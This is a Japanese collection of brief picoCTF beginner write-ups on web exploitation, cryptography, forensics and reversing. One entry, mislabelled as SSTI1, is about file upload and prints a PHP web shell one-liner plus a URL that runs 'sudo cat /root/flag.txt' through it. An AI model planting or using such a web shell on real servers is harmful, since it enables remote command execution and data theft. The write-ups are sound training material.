picoCTF Writeup

PicoCTF SSTI1 (Web Exploitation, Easy) Writeup
webページにアクセスしてポチポチしてみたけど分からず、
ヒントは「Server Side Template Injection」ふむふむ、テンプレートを入れてみろってことかな?
{{ .name }} でinternal server error,
{{ name }}とか打ち込むと真っ白な繊維をする
攻撃はできた、何かあるぞ〜〜〜
ここで、Flaskとかjinja2のテンプレートの知識が必要になったので調べた
参考になった記事
ここで、システムコールの書き方を学んで、lsやcatを使って解けたpicoCTF{hogehoge}って出ると、やったーー!となる

PicoCTF SSTI1 (Web Exploitation, Easy) Writeup
アイコンのおじさんにいつの間にか愛着が湧いてくる問題
ファイルをuploadすると、
The file a.png has been uploaded Path: uploads/a.png
みたいに、uploads/配下に配置しましたと言われた
URLはhttp://hoge:xxxx/upload.php
とかだ、
怪しい!怪しいぞ〜〜〜!!
http://hoge:xxxx/uploads/a.png
で画像が見れたので、
下記を含むphpをアップロードし、http://hoge:xxxx/uploads/upload.php?cmd=sudo+cat+/root/flag.txt
をしたら解けた!嬉しい!
<?php system($_REQUEST['cmd']); ?>
sudo -l
で下記が出てた
Matching Defaults entries for www-data on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on challenge: (ALL) NOPASSWD: ALL
NOPASSWDで全てのコマンド打ち放題、たいへん

PicoCTF Cookie Monster Secret Recipe (Web Exploitation, Easy) Writeup
クッキーみて、base64デコードするとみれた!!
末尾==、これはbase64って本で見たやつだ!となった

PicoCTF WebDecode (Web Exploitation, Easy) Writeup
今まで見た練習環境の中で一番リッチなページ、「Try inspecting the page!! You might find it there」を右クリック検証すると文字列が見えて、base64でデコードすると辿り着けた

PicoCTF hashcrack (Cryptography, Easy) Writeup
weakly passwordのハッシュが与えられるから、クラックしてみてね という問題でした。
base64はデコードできるけど、ハッシュはデコードできない、ツールを使うかプログラムを書いて
よくあるパスワードをハッシュ化してみたものと比べるやり方になる。
よくあるハッシュの文字数
- MD5: 32文字
- SHA-1: 40文字
- SHA-256: 64文字
ハッシュは文字数が決まってるのか、
レインボーテーブル攻撃といって、既知のパスワードについては簡単に出せてしまう。
ローカルにツール(john, hashcat)を入れてみたが遅すぎたので、下記のサイトを使って解いた。
solt, pepperを加えてレインボーテーブル攻撃に対抗する方法もあるらしい
ソルトが同じDBにあって、ペッパーは環境変数などにあってハッシュ値をさらに変換するための値

PicoCTF CanYouSee (Forensics, Easy) Writeup
exiftoolを見たら怪しいやつをbase64で復号化したらとけた
hexdumpで巨大なXMPメタデータを発見して、exiftoolで普段なさげなヘッダーAttribution URL
を見たらあった
フォレンジック分析の基本:
- hexdumpでファイル構造確認
- exiftoolでメタデータ抽出

PicoCTF EVEN RSA CAN BE BROKEN??? (Cryptography, Easy) Writeup
RSAはeとnの値は公開しておくけど、素因数分解の解を見つけるのに時間がかかるため、復号化できないとされている。
N: 20730891871844823767540033027537166297765498912171177973038869544278070027893342827631607682381232040056625757460370644539366175959501501993910909944410622
e: 65537
cyphertext: 405986824089577637397432006358870120453446816121445283393589873741929973947489146473646404292594788371918198476830680947240437209416368345413134727236509
Nは素因数分解できないよねー。。。
あれ、偶数じゃん!! 素数一個2じゃん!
となったので、トーシェント関数(これが分かれば公開鍵から秘密鍵を見つけられる)を求めることができる。
最後に文字列に直すのも一手間かかった
利用したpythonコードは下記
n = 20730891871844823767540033027537166297765498912171177973038869544278070027893342827631607682381232040056625757460370644539366175959501501993910909944410622
e = 65537
phi_n = 10365445935922411883770016513768583148882749456085588986519434772139035013946671413815803841190616020028312878730185322269683087979750750996955454972205310
ciphertext = 405986824089577637397432006358870120453446816121445283393589873741929973947489146473646404292594788371918198476830680947240437209416368345413134727236509
# 秘密鍵計算
d = pow(e, -1, phi_n)
# 復号
plaintext = pow(ciphertext, d, n)
# 文字列変換
flag = plaintext.to_bytes((plaintext.bit_length() + 7) // 8, 'big').decode()
print(flag)

Flag Hunters (Reverse Engineering, Easy) Writeup
間違うと歌に笑われているような気分になる問題でした・・・
コードをじっと見たら解けた!!!
怪しいところをじっと見て、打ち込む。余計なスペースは入れないのが大事だった

picoCTF IntroToBurp (Web Exploitation, Easy) Writeup
謎、submitのotpを違う文字列にしたらいけた
Chrome検証のElementsで変えて送れる。Burpというツールなくてもできた
サーバー側のvalidationが甘い設定だったのかな